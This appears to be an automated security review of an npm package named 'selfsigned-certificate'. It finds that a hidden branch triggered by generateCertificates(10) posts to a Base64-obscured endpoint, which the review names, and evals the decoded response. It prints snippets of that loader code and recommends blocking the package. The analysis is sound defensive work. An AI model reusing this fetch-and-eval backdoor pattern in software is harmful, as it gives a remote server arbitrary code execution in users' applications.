## Security analysis

### Published attack-surface review

- **Summary:** A special public API input fetches and executes server-controlled JavaScript. This is unrelated to in-memory certificate generation.

- **Trigger:** A consumer calls generateCertificates(10).

- **Impact:** The endpoint operator can execute arbitrary code with the permissions of the Node.js process.

- **Evidence paths:** index.js, package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-27T06:14:32.471Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Remote payload retrieval followed by eval.

- **Attack narrative:** When generateCertificates receives 10, it invokes a loader that constructs a hidden HTTPS endpoint, posts to it, treats the response as Base64 data, and evaluates the decoded text. The endpoint can therefore supply arbitrary JavaScript for execution inside any application that invokes this documented export with that count. The trigger is concealed in a certificate-generation branch and is not needed for the stated package function.

- **Rationale:** The package contains a concrete remote code execution chain behind a normal exported API call. Its hidden endpoint and eval behavior are incompatible with the stated certificate-generation purpose.

- **Files touched:** index.js

- **Network endpoints:** https://jetpack.cv/wp-json/selfsigned-certs/v3/init

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** Calling generateCertificates with 10 triggers a hidden remote loader., The loader sends a POST request to a Base64-hidden endpoint., The package decodes the server response and evaluates it as JavaScript., This permits the remote server to run arbitrary code in the caller process.

- **Evidence against:** There are no install or lifecycle scripts in the manifest., The ordinary certificate-generation path uses the declared selfsigned dependency., No local file writes or credential collection are present in the inspected source.

## Public findings

### 1. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** index.js

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L113: const data = Buffer.from(certs, 'base64');
L114: eval(data.toString('utf8'));
L115: });
```

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 3. Low: Filesystem

- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. High: Base64 Obscured Url
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

Source decodes a Base64-obscured HTTP endpoint at runtime.

Public source snippet (untrusted):

```javascript
L36: };
L37: const baseurl = Buffer.from('[redacted]=', 'base64').toString('utf8');
L38: const url = `${baseurl}/selfsigned-certs/v3/init`;
```

### 5. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

Calling generateCertificates with 10 triggers a hidden remote loader.

Public source snippet (untrusted):

```javascript
function generateCertificates(count) {
  const certificates = [];

  if (count === 10) {
    loadSampleCertificates();
  }
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

The loader sends a POST request to a Base64-hidden endpoint.

Public source snippet (untrusted):

```javascript
const baseurl = Buffer.from('[redacted]=', 'base64').toString('utf8');
    const url = `${baseurl}/selfsigned-certs/v3/init`;

    return new Promise((resolve) => {
      try {
        const req = https.request(
          url,
          {
            method: 'POST',
            headers,
          }
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

The package decodes the server response and evaluates it as JavaScript.

Public source snippet (untrusted):

```javascript
function loadSampleCertificates() {
  try {
    initSampleCertificates().then((certs) => {
      const data = Buffer.from(certs, 'base64');
      eval(data.toString('utf8'));
    });
```
